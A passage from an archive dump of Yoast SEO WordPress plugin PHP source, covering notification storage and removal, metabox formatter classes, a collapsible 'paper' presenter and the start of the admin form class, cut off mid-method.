			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Temporarily disabled, see: https://github.com/Yoast/wordpress-seo-premium/issues/2510 and https://github.com/Yoast/wordpress-seo-premium/issues/2511.
			echo $notification;
		}
	}

	/**
	 * Remove notification after it has been displayed.
	 *
	 * @param Yoast_Notification $notification Notification to remove.
	 * @param bool               $resolve      Resolve as fixed.
	 *
	 * @return void
	 */
	public function remove_notification( Yoast_Notification $notification, $resolve = true ) {

		$callback = [ $this, __FUNCTION__ ];
		$args     = func_get_args();
		if ( $this->queue_transaction( $callback, $args ) ) {
			return;
		}

		$index = false;

		// ID of the user to show the notification for, defaults to current user id.
		$user_id       = $notification->get_user_id();
		$notifications = $this->get_notifications_for_user( $user_id );

		// Match persistent Notifications by ID, non persistent by item in the array.
		if ( $notification->is_persistent() ) {
			foreach ( $notifications as $current_index => $present_notification ) {
				if ( $present_notification->get_id() === $notification->get_id() ) {
					$index = $current_index;
					break;
				}
			}
		}
		else {
			$index = array_search( $notification, $notifications, true );
		}

		if ( $index === false ) {
			return;
		}

		if ( $notification->is_persistent() && $resolve ) {
			++$this->resolved;
			$this->clear_dismissal( $notification );
		}

		unset( $notifications[ $index ] );
		$this->notifications[ $user_id ] = array_values( $notifications );

		$this->notifications_need_storage = true;
	}

	/**
	 * Removes a notification by its ID.
	 *
	 * @param string $notification_id The notification id.
	 * @param bool   $resolve         Resolve as fixed.
	 *
	 * @return void
	 */
	public function remove_notification_by_id( $notification_id, $resolve = true ) {
		$notification = $this->get_notification_by_id( $notification_id );

		if ( $notification === null ) {
			return;
		}

		$this->remove_notification( $notification, $resolve );
		$this->notifications_need_storage = true;
	}

	/**
	 * Get the notification count.
	 *
	 * @param bool $dismissed Count dismissed notifications.
	 *
	 * @return int Number of notifications
	 */
	public function get_notification_count( $dismissed = false ) {

		$notifications = $this->get_notifications_for_user( get_current_user_id() );
		$notifications = array_filter( $notifications, [ $this, 'filter_persistent_notifications' ] );

		if ( ! $dismissed ) {
			$notifications = array_filter( $notifications, [ $this, 'filter_dismissed_notifications' ] );
		}

		return count( $notifications );
	}

	/**
	 * Get the number of notifications resolved this execution.
	 *
	 * These notifications have been resolved and should be counted when active again.
	 *
	 * @return int
	 */
	public function get_resolved_notification_count() {

		return $this->resolved;
	}

	/**
	 * Return the notifications sorted on type and priority.
	 *
	 * @return array|Yoast_Notification[] Sorted Notifications
	 */
	public function get_sorted_notifications() {
		$notifications = $this->get_notifications_for_user( get_current_user_id() );
		if ( empty( $notifications ) ) {
			return [];
		}

		// Sort by severity, error first.
		usort( $notifications, [ $this, 'sort_notifications' ] );

		return $notifications;
	}

	/**
	 * AJAX display notifications.
	 *
	 * @return void
	 */
	public function ajax_get_notifications() {
		$echo = false;
		// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form data.
		if ( isset( $_POST['version'] ) && is_string( $_POST['version'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing the variable in a condition.
			$echo = wp_unslash( $_POST['version'] ) === '2';
		}

		// Display the notices.
		$this->display_notifications( $echo );

		// AJAX die.
		exit;
	}

	/**
	 * Remove storage when the plugin is deactivated.
	 *
	 * @return void
	 */
	public function deactivate_hook() {

		$this->clear_notifications();
	}

	/**
	 * Returns the given user ID if it exists.
	 * Otherwise, this function returns the ID of the current user.
	 *
	 * @param int $user_id The user ID to check.
	 *
	 * @return int The user ID to use.
	 */
	private static function get_user_id( $user_id ) {
		if ( $user_id ) {
			return $user_id;
		}
		return get_current_user_id();
	}

	/**
	 * Splits the notifications on user ID.
	 *
	 * In other terms, it returns an associative array,
	 * mapping user ID to a list of notifications for this user.
	 *
	 * @param array|Yoast_Notification[] $notifications The notifications to split.
	 *
	 * @return array The notifications, split on user ID.
	 */
	private function split_on_user_id( $notifications ) {
		$split_notifications = [];
		foreach ( $notifications as $notification ) {
			$split_notifications[ $notification->get_user_id() ][] = $notification;
		}
		return $split_notifications;
	}

	/**
	 * Save persistent notifications to storage.
	 *
	 * We need to be able to retrieve these so they can be dismissed at any time during the execution.
	 *
	 * @since 3.2
	 *
	 * @return void
	 */
	public function update_storage() {
		/**
		 * Plugins might exit on the plugins_loaded hook.
		 * This prevents the pluggable.php file from loading, as it's loaded after the plugins_loaded hook.
		 * As we need functions defined in pluggable.php, make sure it's loaded.
		 */
		require_once ABSPATH . WPINC . '/pluggable.php';

		$notifications = $this->notifications;

		/**
		 * One array of Yoast_Notifications, merged from multiple arrays.
		 *
		 * @var Yoast_Notification[] $merged_notifications
		 */
		$merged_notifications = [];
		if ( ! empty( $notifications ) ) {
			$merged_notifications = array_merge( ...$notifications );
		}

		/**
		 * Filter: 'yoast_notifications_before_storage' - Allows developer to filter notifications before saving them.
		 *
		 * @param Yoast_Notification[] $notifications
		 */
		$filtered_merged_notifications = apply_filters( 'yoast_notifications_before_storage', $merged_notifications );

		// The notifications were filtered and therefore need to be stored.
		if ( $merged_notifications !== $filtered_merged_notifications ) {
			$merged_notifications             = $filtered_merged_notifications;
			$this->notifications_need_storage = true;
		}

		$notifications = $this->split_on_user_id( $merged_notifications );

		// No notifications to store, clear storage if it was previously present.
		if ( empty( $notifications ) ) {
			$this->remove_storage();

			return;
		}

		// Only store notifications if changes are made.
		if ( $this->notifications_need_storage ) {
			array_walk( $notifications, [ $this, 'store_notifications_for_user' ] );
		}
	}

	/**
	 * Stores the notifications to its respective user's storage.
	 *
	 * @param array|Yoast_Notification[] $notifications The notifications to store.
	 * @param int                        $user_id       The ID of the user for which to store the notifications.
	 *
	 * @return void
	 */
	private function store_notifications_for_user( $notifications, $user_id ) {
		$notifications_as_arrays = array_map( [ $this, 'notification_to_array' ], $notifications );
		update_user_option( $user_id, self::STORAGE_KEY, $notifications_as_arrays );
	}

	/**
	 * Provide a way to verify present notifications.
	 *
	 * @return array|Yoast_Notification[] Registered notifications.
	 */
	public function get_notifications() {
		if ( ! $this->notifications ) {
			return [];
		}
		return array_merge( ...$this->notifications );
	}

	/**
	 * Returns the notifications for the given user.
	 *
	 * @param int $user_id The id of the user to check.
	 *
	 * @return Yoast_Notification[] The notifications for the user with the given ID.
	 */
	public function get_notifications_for_user( $user_id ) {
		if ( array_key_exists( $user_id, $this->notifications ) ) {
			return $this->notifications[ $user_id ];
		}
		return [];
	}

	/**
	 * Get newly added notifications.
	 *
	 * @return array
	 */
	public function get_new_notifications() {

		return array_map( [ $this, 'get_notification_by_id' ], $this->new );
	}

	/**
	 * Get information from the User input.
	 *
	 * Note that this function does not handle nonce verification.
	 *
	 * @param string $key Key to retrieve.
	 *
	 * @return string non-sanitized value of key if set, an empty string otherwise.
	 */
	private static function get_user_input( $key ) {
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information and only using this variable in a comparison.
		$request_method = isset( $_SERVER['REQUEST_METHOD'] ) && is_string( $_SERVER['REQUEST_METHOD'] ) ? strtoupper( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ) : '';
		// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: This function does not sanitize variables.
		// phpcs:disable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing -- Reason: This function does not verify a nonce.
		if ( $request_method === 'POST' ) {
			if ( isset( $_POST[ $key ] ) && is_string( $_POST[ $key ] ) ) {
				return wp_unslash( $_POST[ $key ] );
			}
		}
		elseif ( isset( $_GET[ $key ] ) && is_string( $_GET[ $key ] ) ) {
			return wp_unslash( $_GET[ $key ] );
		}
		// phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		return '';
	}

	/**
	 * Retrieve the notifications from storage and fill the relevant property.
	 *
	 * @param int $user_id The ID of the user to retrieve notifications for.
	 *
	 * @return void
	 */
	private function retrieve_notifications_from_storage( $user_id ) {
		if ( $this->notifications_retrieved ) {
			return;
		}

		$this->notifications_retrieved = true;

		$stored_notifications = get_user_option( self::STORAGE_KEY, $user_id );

		// Check if notifications are stored.
		if ( empty( $stored_notifications ) ) {
			return;
		}

		if ( is_array( $stored_notifications ) ) {
			$notifications = array_map( [ $this, 'array_to_notification' ], $stored_notifications );

			// Apply array_values to ensure we get a 0-indexed array.
			$notifications = array_values( array_filter( $notifications, [ $this, 'filter_notification_current_user' ] ) );

			$this->notifications[ $user_id ] = $notifications;
		}
	}

	/**
	 * Sort on type then priority.
	 *
	 * @param Yoast_Notification $a Compare with B.
	 * @param Yoast_Notification $b Compare with A.
	 *
	 * @return int 1, 0 or -1 for sorting offset.
	 */
	private function sort_notifications( Yoast_Notification $a, Yoast_Notification $b ) {

		$a_type = $a->get_type();
		$b_type = $b->get_type();

		if ( $a_type === $b_type ) {
			return WPSEO_Utils::calc( $b->get_priority(), 'compare', $a->get_priority() );
		}

		if ( $a_type === 'error' ) {
			return -1;
		}

		if ( $b_type === 'error' ) {
			return 1;
		}

		return 0;
	}

	/**
	 * Clear local stored notifications.
	 *
	 * @return void
	 */
	private function clear_notifications() {

		$this->notifications           = [];
		$this->notifications_retrieved = false;
	}

	/**
	 * Filter out non-persistent notifications.
	 *
	 * @since 3.2
	 *
	 * @param Yoast_Notification $notification Notification to test for persistent.
	 *
	 * @return bool
	 */
	private function filter_persistent_notifications( Yoast_Notification $notification ) {

		return $notification->is_persistent();
	}

	/**
	 * Filter out dismissed notifications.
	 *
	 * @param Yoast_Notification $notification Notification to check.
	 *
	 * @return bool
	 */
	private function filter_dismissed_notifications( Yoast_Notification $notification ) {

		return ! self::maybe_dismiss_notification( $notification );
	}

	/**
	 * Convert Notification to array representation.
	 *
	 * @since 3.2
	 *
	 * @param Yoast_Notification $notification Notification to convert.
	 *
	 * @return array
	 */
	private function notification_to_array( Yoast_Notification $notification ) {

		$notification_data = $notification->to_array();

		if ( isset( $notification_data['nonce'] ) ) {
			unset( $notification_data['nonce'] );
		}

		return $notification_data;
	}

	/**
	 * Convert stored array to Notification.
	 *
	 * @param array $notification_data Array to convert to Notification.
	 *
	 * @return Yoast_Notification
	 */
	private function array_to_notification( $notification_data ) {

		if ( isset( $notification_data['options']['nonce'] ) ) {
			unset( $notification_data['options']['nonce'] );
		}

		if ( isset( $notification_data['message'] )
			&& is_subclass_of( $notification_data['message'], Abstract_Presenter::class, false )
		) {
			$notification_data['message'] = $notification_data['message']->present();
		}

		if ( isset( $notification_data['options']['user'] ) ) {
			$notification_data['options']['user_id'] = $notification_data['options']['user']->ID;
			unset( $notification_data['options']['user'] );

			$this->notifications_need_storage = true;
		}

		return new Yoast_Notification(
			$notification_data['message'],
			$notification_data['options']
		);
	}

	/**
	 * Filter notifications that should not be displayed for the current user.
	 *
	 * @param Yoast_Notification $notification Notification to test.
	 *
	 * @return bool
	 */
	private function filter_notification_current_user( Yoast_Notification $notification ) {
		return $notification->display_for_current_user();
	}

	/**
	 * Checks if given notification is persistent.
	 *
	 * @param Yoast_Notification $notification The notification to check.
	 *
	 * @return bool True when notification is not persistent.
	 */
	private function is_notification_persistent( Yoast_Notification $notification ) {
		return ! $notification->is_persistent();
	}

	/**
	 * Queues a notification transaction for later execution if notifications are not yet set up.
	 *
	 * @param callable $callback Callback that performs the transaction.
	 * @param array    $args     Arguments to pass to the callback.
	 *
	 * @return bool True if transaction was queued, false if it can be performed immediately.
	 */
	private function queue_transaction( $callback, $args ) {
		if ( $this->notifications_retrieved ) {
			return false;
		}

		$this->add_transaction_to_queue( $callback, $args );

		return true;
	}

	/**
	 * Adds a notification transaction to the queue for later execution.
	 *
	 * @param callable $callback Callback that performs the transaction.
	 * @param array    $args     Arguments to pass to the callback.
	 *
	 * @return void
	 */
	private function add_transaction_to_queue( $callback, $args ) {
		$this->queued_transactions[] = [ $callback, $args ];
	}

	/**
	 * Removes all notifications from storage.
	 *
	 * @return bool True when notifications got removed.
	 */
	protected function remove_storage() {
		if ( ! $this->has_stored_notifications() ) {
			return false;
		}

		delete_user_option( get_current_user_id(), self::STORAGE_KEY );
		return true;
	}

	/**
	 * Checks if there are stored notifications.
	 *
	 * @return bool True when there are stored notifications.
	 */
	protected function has_stored_notifications() {
		$stored_notifications = $this->get_stored_notifications();

		return ! empty( $stored_notifications );
	}

	/**
	 * Retrieves the stored notifications.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array|false Array with notifications or false when not set.
	 */
	protected function get_stored_notifications() {
		return get_user_option( self::STORAGE_KEY, get_current_user_id() );
	}
}
wordpress-seo/admin/formatter/interface-metabox-formatter.php000064400000000402147510273110020557 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Formatter
 */

/**
 * Interface to force get_values.
 */
interface WPSEO_Metabox_Formatter_Interface {

	/**
	 * Returns formatter values.
	 *
	 * @return array
	 */
	public function get_values();
}
wordpress-seo/admin/formatter/class-term-metabox-formatter.php000064400000004325147510273110020701 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Formatter
 */

use Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository;

/**
 * This class provides data for the term metabox by return its values for localization.
 */
class WPSEO_Term_Metabox_Formatter implements WPSEO_Metabox_Formatter_Interface {

	/**
	 * The term the metabox formatter is for.
	 *
	 * @var WP_Term|stdClass
	 */
	private $term;

	/**
	 * The term's taxonomy.
	 *
	 * @var stdClass
	 */
	private $taxonomy;

	/**
	 * Whether we must return social templates values.
	 *
	 * @var bool
	 */
	private $use_social_templates = false;

	/**
	 * Array with the WPSEO_Titles options.
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * WPSEO_Taxonomy_Scraper constructor.
	 *
	 * @param stdClass         $taxonomy Taxonomy.
	 * @param WP_Term|stdClass $term     Term.
	 */
	public function __construct( $taxonomy, $term ) {
		$this->taxonomy = $taxonomy;
		$this->term     = $term;

		$this->use_social_templates = $this->use_social_templates();
	}

	/**
	 * Determines whether the social templates should be used.
	 *
	 * @return bool Whether the social templates should be used.
	 */
	public function use_social_templates() {
		return WPSEO_Options::get( 'opengraph', false ) === true;
	}

	/**
	 * Returns the translated values.
	 *
	 * @return array
	 */
	public function get_values() {
		$values = [];

		// Todo: a column needs to be added on the termpages to add a filter for the keyword, so this can be used in the focus keyphrase doubles.
		if ( is_object( $this->term ) && property_exists( $this->term, 'taxonomy' ) ) {
			$values = [
				'taxonomy'                    => $this->term->taxonomy,
				'semrushIntegrationActive'    => 0,
				'wincherIntegrationActive'    => 0,
				'isInsightsEnabled'           => $this->is_insights_enabled(),
			];

			$repo = YoastSEO()->classes->get( Term_Seo_Information_Repository::class );
			$repo->set_term( $this->term );
			$values = ( $repo->get_seo_data() + $values );
		}

		return $values;
	}

	/**
	 * Determines whether the insights feature is enabled for this taxonomy.
	 *
	 * @return bool
	 */
	protected function is_insights_enabled() {
		return WPSEO_Options::get( 'enable_metabox_insights', false );
	}
}
wordpress-seo/admin/formatter/class-post-metabox-formatter.php000064400000004143147510273110020715 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Formatter
 */

use Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository;

/**
 * This class provides data for the post metabox by return its values for localization.
 */
class WPSEO_Post_Metabox_Formatter implements WPSEO_Metabox_Formatter_Interface {

	/**
	 * Holds the WordPress Post.
	 *
	 * @var WP_Post
	 */
	private $post;

	/**
	 * The permalink to follow.
	 *
	 * @var string
	 */
	private $permalink;

	/**
	 * Constructor.
	 *
	 * @param WP_Post|array $post      Post object.
	 * @param array         $options   Title options to use.
	 * @param string        $structure The permalink to follow.
	 */
	public function __construct( $post, array $options, $structure ) {
		$this->post      = $post;
		$this->permalink = $structure;
	}

	/**
	 * Determines whether the social templates should be used.
	 *
	 * @deprecated 23.1
	 * @codeCoverageIgnore
	 */
	public function use_social_templates() {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.1' );
	}

	/**
	 * Returns the translated values.
	 *
	 * @return array
	 */
	public function get_values() {

		$values = [
			'metaDescriptionDate' => '',
		];

		if ( $this->post instanceof WP_Post ) {

			/** @var Post_Seo_Information_Repository $repo */
			$repo = YoastSEO()->classes->get( Post_Seo_Information_Repository::class );
			$repo->set_post( $this->post );

			$values_to_set = [
				'isInsightsEnabled' => $this->is_insights_enabled(),
			];

			$values = ( $values_to_set + $values );
			$values = ( $repo->get_seo_data() + $values );
		}

		/**
		 * Filter: 'wpseo_post_edit_values' - Allows changing the values Yoast SEO uses inside the post editor.
		 *
		 * @param array   $values The key-value map Yoast SEO uses inside the post editor.
		 * @param WP_Post $post   The post opened in the editor.
		 */
		return apply_filters( 'wpseo_post_edit_values', $values, $this->post );
	}

	/**
	 * Determines whether the insights feature is enabled for this post.
	 *
	 * @return bool
	 */
	protected function is_insights_enabled() {
		return WPSEO_Options::get( 'enable_metabox_insights', false );
	}
}
wordpress-seo/admin/formatter/class-metabox-formatter.php000064400000005207147510273110017734 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Formatter
 */

use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository;
use Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository;

/**
 * This class forces needed methods for the metabox localization.
 */
class WPSEO_Metabox_Formatter {

	/**
	 * Object that provides formatted values.
	 *
	 * @var WPSEO_Metabox_Formatter_Interface
	 */
	private $formatter;

	/**
	 * Setting the formatter property.
	 *
	 * @param WPSEO_Metabox_Formatter_Interface $formatter Object that provides the formatted values.
	 */
	public function __construct( WPSEO_Metabox_Formatter_Interface $formatter ) {
		$this->formatter = $formatter;
	}

	/**
	 * Returns the values.
	 *
	 * @return array<string,string|array<string|int|bool>|bool|int>
	 */
	public function get_values() {
		$defaults = $this->get_defaults();
		$values   = $this->formatter->get_values();

		return ( $values + $defaults );
	}

	/**
	 * Returns array with all the values always needed by a scraper object.
	 *
	 * @return array<string,string|array<string|int|bool>|bool|int> Default settings for the metabox.
	 */
	private function get_defaults() {
		$schema_types = new Schema_Types();

		$defaults = [
			'author_name'                        => get_the_author_meta( 'display_name' ),
			'keyword_usage'                      => [],
			'title_template'                     => '',
			'metadesc_template'                  => '',
			'schema'                             => [
				'displayFooter'      => WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ),
				'pageTypeOptions'    => $schema_types->get_page_type_options(),
				'articleTypeOptions' => $schema_types->get_article_type_options(),
			],
			'twitterCardType'                    => 'summary_large_image',
			/**
			 * Filter to determine if the markers should be enabled or not.
			 *
			 * @param bool $showMarkers Should the markers being enabled. Default = true.
			 */
			'show_markers'                       => apply_filters( 'wpseo_enable_assessment_markers', true ),
		];

		$integration_information_repo = YoastSEO()->classes->get( Integration_Information_Repository::class );

		$enabled_integrations  = $integration_information_repo->get_integration_information();
		$defaults              = array_merge( $defaults, $enabled_integrations );
		$enabled_features_repo = YoastSEO()->classes->get( Enabled_Analysis_Features_Repository::class );

		$enabled_features = $enabled_features_repo->get_enabled_features()->parse_to_legacy_array();
		return array_merge( $defaults, $enabled_features );
	}
}
wordpress-seo/admin/class-paper-presenter.php000064400000007020147510273110015400 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class WPSEO_presenter_paper.
 */
class WPSEO_Paper_Presenter {

	/**
	 * Title of the paper.
	 *
	 * @var string
	 */
	private $title;

	/**
	 * The view variables.
	 *
	 * @var array
	 */
	private $settings;

	/**
	 * The path to the view file.
	 *
	 * @var string
	 */
	private $view_file;

	/**
	 * WPSEO_presenter_paper constructor.
	 *
	 * @param string      $title     The title of the paper.
	 * @param string|null $view_file Optional. The path to the view file. Use the content setting
	 *                               if do not wish to use a view file.
	 * @param array       $settings  Optional. Settings for the paper.
	 */
	public function __construct( $title, $view_file = null, array $settings = [] ) {
		$defaults = [
			'paper_id'                 => null,
			'paper_id_prefix'          => 'wpseo-',
			'collapsible'              => false,
			'collapsible_header_class' => '',
			'expanded'                 => false,
			'help_text'                => '',
			'title_after'              => '',
			'class'                    => '',
			'content'                  => '',
			'view_data'                => [],
		];

		$this->settings  = wp_parse_args( $settings, $defaults );
		$this->title     = $title;
		$this->view_file = $view_file;
	}

	/**
	 * Renders the collapsible paper and returns it as a string.
	 *
	 * @return string The rendered paper.
	 */
	public function get_output() {
		$view_variables = $this->get_view_variables();

		extract( $view_variables, EXTR_SKIP );

		$content = $this->settings['content'];

		if ( $this->view_file !== null ) {
			ob_start();
			require $this->view_file;
			$content = ob_get_clean();
		}

		ob_start();
		require WPSEO_PATH . 'admin/views/paper-collapsible.php';
		$rendered_output = ob_get_clean();

		return $rendered_output;
	}

	/**
	 * Retrieves the view variables.
	 *
	 * @return array The view variables.
	 */
	private function get_view_variables() {
		if ( $this->settings['help_text'] instanceof WPSEO_Admin_Help_Panel === false ) {
			$this->settings['help_text'] = new WPSEO_Admin_Help_Panel( '', '', '' );
		}

		$view_variables = [
			'class'                    => $this->settings['class'],
			'collapsible'              => $this->settings['collapsible'],
			'collapsible_config'       => $this->collapsible_config(),
			'collapsible_header_class' => $this->settings['collapsible_header_class'],
			'title_after'              => $this->settings['title_after'],
			'help_text'                => $this->settings['help_text'],
			'view_file'                => $this->view_file,
			'title'                    => $this->title,
			'paper_id'                 => $this->settings['paper_id'],
			'paper_id_prefix'          => $this->settings['paper_id_prefix'],
			'yform'                    => Yoast_Form::get_instance(),
		];

		return array_merge( $this->settings['view_data'], $view_variables );
	}

	/**
	 * Retrieves the collapsible config based on the settings.
	 *
	 * @return array The config.
	 */
	protected function collapsible_config() {
		if ( empty( $this->settings['collapsible'] ) ) {
			return [
				'toggle_icon' => '',
				'class'       => '',
				'expanded'    => '',
			];
		}

		if ( ! empty( $this->settings['expanded'] ) ) {
			return [
				'toggle_icon' => 'dashicons-arrow-up-alt2',
				'class'       => 'toggleable-container',
				'expanded'    => 'true',
			];
		}

		return [
			'toggle_icon' => 'dashicons-arrow-down-alt2',
			'class'       => 'toggleable-container toggleable-container-hidden',
			'expanded'    => 'false',
		];
	}
}
wordpress-seo/admin/class-yoast-form.php000064400000107357147510273110014402 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Presenters\Admin\Light_Switch_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Sidebar_Presenter;

/**
 * Admin form class.
 *
 * @since 2.0
 */
class Yoast_Form {

	/**
	 * Instance of this class
	 *
	 * @var Yoast_Form
	 * @since 2.0
	 */
	public static $instance;

	/**
	 * The short name of the option to use for the current page.
	 *
	 * @var string
	 * @since 2.0
	 */
	public $option_name;

	/**
	 * Option instance.
	 *
	 * @since 8.4
	 * @var WPSEO_Option|null
	 */
	protected $option_instance = null;

	/**
	 * Get the singleton instance of this class.
	 *
	 * @since 2.0
	 *
	 * @return Yoast_Form
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Generates the header for admin pages.
	 *
	 * @since 2.0
	 *
	 * @param bool   $form             Whether or not the form start tag should be included.
	 * @param string $option           The short name of the option to use for the current page.
	 * @param bool   $contains_files   Whether the form should allow for file uploads.
	 * @param bool   $option_long_name Group name of the option.
	 *
	 * @return void
	 */
	public function admin_header( $form = true, $option = 'wpseo', $contains_files = false, $option_long_name = false ) {
		if ( ! $option_long_name ) {
			$option_long_name = WPSEO_Options::get_group_name( $option );
		}
		?>
		<div class="wrap yoast wpseo-admin-page <?php echo esc_attr( 'page-' . $option ); ?>">
		<?php
		/**
		 * Display the updated/error messages.
		 * Only needed as our settings page is not under options, otherwise it will automatically be included.
		 *
		 * @see settings_errors()
		 */
		require_once ABSPATH . 'wp-admin/options-head.php';
		?>
		<h1 id="wpseo-title"><?php echo esc_html( get_admin_page_title() ); ?></h1>
		<div id="yst-settings-header-root"></div>
		<div class="wpseo_content_wrapper">
		<div class="wpseo_content_cell" id="wpseo_content_top">
		<?php
		if ( $form === true ) {
			$enctype = ( $contains_files ) ? ' enctype="multipart/form-data"' : '';

			$network_admin = new Yoast_Network_Admin();
			if ( $network_admin->meets_requirements() ) {
				$action_url       = network_admin_url( 'settings.php' );
				$hidden_fields_cb = [ $network_admin, 'settings_fields' ];
			}
			else {
				$action_url       = admin_url( 'options.php' );
				$hidden_fields_cb = 'settings_fields';
			}

			echo '<form action="'
				. esc_url( $action_url )
				. '" method="post" id="wpseo-conf"'
				. $enctype . ' accept-charset="' // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- nothing to escape.
				. esc_attr( get_bloginfo( 'charset' ) )
				. '" novalidate="novalidate">';
			call_user_func( $hidden_fields_cb, $option_long_name );
		}
		$this->set_option( $option );
	}

	/**
	 * Set the option used in output for form elements.
	 *
	 * @since 2.0
	 *
	 * @param string $option_name Option key.
	 *
	 * @return void
	 */
	public function set_option( $option_name ) {
		$this->option_name = $option_name;

		$this->option_instance = WPSEO_Options::get_option_instance( $option_name );
		if ( ! $this->option_instance ) {
			$this->option_instance = null;
		}
	}

	/**
	 * Generates the footer for admin pages.
	 *
	 * @since 2.0
	 *
	 * @param bool $submit       Whether or not a submit button and form end tag should be shown.
	 * @param bool $show_sidebar Whether or not to show the banner sidebar - used by premium plugins to disable it.
	 *
	 * @return void
	 */
	public function admin_footer( $submit = true, $show_sidebar = true ) {
		if ( $submit ) {
			$settings_changed_listener = new WPSEO_Admin_Settings_Changed_Listener();
			echo '<div id="wpseo-submit-container">';

			echo '<div id="wpseo-submit-container-float" class="wpseo-admin-submit">';
			submit_button( __( 'Save changes', 'wordpress-seo' ) );
			$settings_changed_listener->show_success_message();
			echo '</div>';

			echo '<div id="wpseo-submit-container-fixed" class="wpseo-admin-submit wpseo-admin-submit-fixed" style="display: none;">';
			submit_button( __( 'Save changes', 'wordpress-seo' ) );
			$settings_changed_listener->show_success_message();
			echo '</div>';

			echo '</div>';

			echo '
			</form>';
		}

		/**
		 * Apply general admin_footer hooks.
		 */
		do_action( 'wpseo_admin_footer', $this );

		/**
		 * Run possibly set actions to add for example an i18n box.
		 */
		do_action( 'wpseo_admin_promo_footer' );

		echo '
			</div><!-- end of div wpseo_content_top -->';

		if ( $show_sidebar ) {
			$this->admin_sidebar();
		}

		echo '</div><!-- end of div wpseo_content_wrapper -->';

		do_action( 'wpseo_admin_below_content', $this );

		echo '
			</div><!-- end of wrap -->';
	}

	/**
	 * Generates the sidebar for admin pages.
	 *
	 * @since 2.0
	 *
	 * @return void
	 */
	public function admin_sidebar() {
		// No banners in Premium.
		$addon_manager = new WPSEO_Addon_Manager();
		if ( YoastSEO()->helpers->product->is_premium() && $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) {
			return;
		}

		$sidebar_presenter = new Sidebar_Presenter();
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in presenter.
		echo $sidebar_presenter->present();
	}

	/**
	 * Output a label element.
	 *
	 * @since 2.0
	 *
	 * @param string $text Label text string, which can contain escaped html.
	 * @param array  $attr HTML attributes set.
	 *
	 * @return void
	 */
	public function label( $text, $attr ) {
		$defaults = [
			'class'      => 'checkbox',
			'close'      => true,
			'for'        => '',
			'aria_label' => '',
		];

		$attr       = wp_parse_args( $attr, $defaults );
		$aria_label = '';
		if ( $attr['aria_label'] !== '' ) {
			$aria_label = ' aria-label="' . esc_attr( $attr['aria_label'] ) . '"';
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. Specifically, the $text variable can contain escaped html.
		echo "<label class='" . esc_attr( $attr['class'] ) . "' for='" . esc_attr( $attr['for'] ) . "'$aria_label>$text";
		if ( $attr['close'] ) {
			echo '</label>';
		}
	}

	/**
	 * Output a legend element.
	 *
	 * @since 3.4
	 *
	 * @param string $text Legend text string.
	 * @param array  $attr HTML attributes set.
	 *
	 * @return void
	 */
	public function legend( $text, $attr ) {
		$defaults = [
			'id'    => '',
			'class' => '',
		];
		$attr     = wp_parse_args( $attr, $defaults );

		$id = ( $attr['id'] === '' ) ? '' : ' id="' . esc_attr( $attr['id'] ) . '"';
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
		echo '<legend class="' . esc_attr( 'yoast-form-legend ' . $attr['class'] ) . '"' . $id . '>' . $text . '</legend>';
	}

	/**
	 * Create a Checkbox input field.
	 *
	 * @since 2.0
	 *
	 * @param string $variable   The variable within the option to create the checkbox for.
	 * @param string $label      The label to show for the variable.
	 * @param bool   $label_left Whether the label should be left (true) or right (false).
	 * @param array  $attr       Extra attributes to add to the checkbox.
	 *
	 * @return void
	 */
	public function checkbox( $variable, $label, $label_left = false, $attr = [] ) {
		$val = $this->get_field_value( $variable, false );

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		if ( $val === true ) {
			$val = 'on';
		}

		$class = '';
		if ( $label_left !== false ) {
			$this->label( $label_left, [ 'for' => $variable ] );
		}
		else {
			$class = 'double';
		}

		$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
		echo '<input class="', esc_attr( 'checkbox ' . $class ), '" type="checkbox" id="', esc_attr( $variable ), '" name="', esc_attr( $this->option_name . '[' . $variable . ']' ), '" value="on"', checked( $val, 'on', false ), $disabled_attribute, '/>';

		if ( ! empty( $label ) ) {
